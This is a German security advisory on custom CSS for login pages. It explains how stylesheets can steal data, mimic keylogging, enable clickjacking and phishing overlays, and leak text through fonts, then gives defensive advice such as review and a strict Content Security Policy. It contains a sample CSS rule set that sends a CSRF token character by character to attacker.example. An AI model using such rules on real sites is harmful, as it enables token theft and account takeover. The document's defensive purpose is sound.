Sicherheitshinweise zu CSS

Theresa Henze - 2026-09-10 - Verschiedenes

Benutzerdefiniertes CSS: Sicherheitshinweise

Mit benutzerdefiniertem CSS können Administratoren das Erscheinungsbild der Login-Seiten anpassen. Obwohl CSS keine Skripte wie JavaScript ausführen kann, ist modernes CSS mächtig genug, um Daten zu stehlen, Nutzer zu täuschen und Informationen zu verbergen. Behandele benutzerdefiniertes CSS als vertrauenswürdigen, sicherheitsrelevanten Code.

Warum CSS ein Sicherheitsrisiko ist

CSS wird oft als „reine Gestaltung" angesehen, kann aber externe Ressourcen laden, auf Inhalt und Zustand der Seite reagieren und verändern, was der Nutzer sieht. Da Sicherheitsmaßnahmen bei JavaScript häufig strenger sind als bei CSS, ist Gestaltung für Angreifer oft der Weg des geringsten Widerstands. Das eingegebene CSS wird direkt in den Browsern der Nutzer im Kontext der Applikation ausgeführt.

Was schädliches CSS anrichten kann

1. Datendiebstahl über Attribut-Selektoren

CSS kann Elemente anhand des *Inhalts* der Attribute auswählen und bei einem Treffer eine Netzwerkanfrage auslösen (z. B. das Laden eines Hintergrundbilds). Zusammen ermöglicht das einem Angreifer, sensible Werte von der Seite auszulesen und an einen externen Server zu senden:

```
input[name="csrf_token"][value^="a"] {
  background: url("https://attacker.example/leak?c=a");
}
input[name="csrf_token"][value^="b"] {
  background: url("https://attacker.example/leak?c=b");
}
/* ...eine Regel pro möglichem Zeichen... */
```

Der Browser fordert nur das Bild der zutreffenden Regel an und verrät damit ein Zeichen. Wiederholt lässt sich so der gesamte Wert rekonstruieren, so dass auch sensible Werte, die in einem Attribut stehen, gefährdet sind.

2. Keylogging-artiges Mitschneiden

Wenn der eingegebene Wert eines Feldes zurück ins DOM geschrieben wird (z. B. in ein `value`-Attribut), lässt sich die obige Technik während der Eingabe anwenden und jedes Zeichen an den Server eines Angreifers senden. Das ist begrenzter als vollständiges JavaScript-Keylogging, aber für bestimmte Felder ein reales Risiko.

3. UI-Manipulation, Clickjacking und Phishing

CSS steuert Layout, Sichtbarkeit und Stapelreihenfolge, was genutzt werden kann, um Nutzer zu täuschen:

- **Informationen verbergen:** `display: none` oder `visibility: hidden` können Sicherheitswarnungen entfernen, sodass Nutzer diese nie sehen.
- **Clickjacking:** transparente oder verschobene Elemente über echten Schaltflächen (via `position` und hohem `z-index`) lassen einen Klick an einer unbeabsichtigten Stelle landen.
- **Gefälschte Inhalte:** ein betrügerisches Anmeldeformular oder eine gefälschte Meldung kann über die echte Seite gelegt werden und macht die Applikation zur Phishing-Fläche.

4. Text ausschleusen über Schriftarten

Fortgeschrittene Angriffe nutzen `@font-face` mit `unicode-range`, um pro Zeichenbereich eine andere

Ressource anzufordern. So kann ein Angreifer aus den Anfragen des Browsers auf den tatsächlichen Textinhalt schließen. Komplex und situationsabhängig, aber ein Hinweis darauf, wie weit CSS über Farben und Abstände hinausreicht.

Warum das wichtig ist

Ein geleakter Sicherheitstoken kann es einem Angreifer erlauben, im Namen des Nutzers zu handeln (um Einstellungen zu ändern, Passwörter zurückzusetzen oder Daten zu löschen) und das Abgreifen personenbezogener Daten ist ein Datenschutzvorfall. Da diese Angriffe ohne `script`-HTML-Tags auskommen, umgehen sie oft Filter und Firewalls, die auf JavaScript ausgerichtet sind.

Was du tun solltest

- **Verwende nur CSS aus vertrauenswürdigen Quellen.** Behandele eingefügtes CSS wie jeden Code, den du in deiner Applikation ausführen würdest.
- **Prüfe es vor dem Speichern.** Sei misstrauisch bei externen URLs (`url(...)`), Attribut-Selektoren auf Eingabefeldern (`[value^=...]`), `@font-face` / `unicode-range` sowie auffälligen Positionierungs- oder `z-index`-Werten.
- **Halte es minimal.** Kleineres, einfacheres CSS lässt sich leichter prüfen und bietet weniger Raum, in dem sich Schädliches verstecken kann.
- **Im Zweifel nicht speichern.** Wenn du nicht nachvollziehen kannst, was ein CSS-Block tut, lass ihn weg.
- **Konfiguriere eine restriktive Content Security Policy (CSP).** Die meisten dieser Angriffe beruhen auf Anfragen an externe Server (über `url(...)` und `@font-face`). Eine gut konfigurierte CSP ist dein stärkster technischer Schutz: Beschränke `img-src`, `style-src` und `font-src` (bzw. `connect-src`) auf vertrauenswürdige Quellen und vermeide nach Möglichkeit `'unsafe-inline'`.

Wenn du unsicher bist, ob ein Stylesheet sicher ist, lass es von einer Person mit Sicherheits- oder Frontend-Erfahrung prüfen, bevor du es einbindest.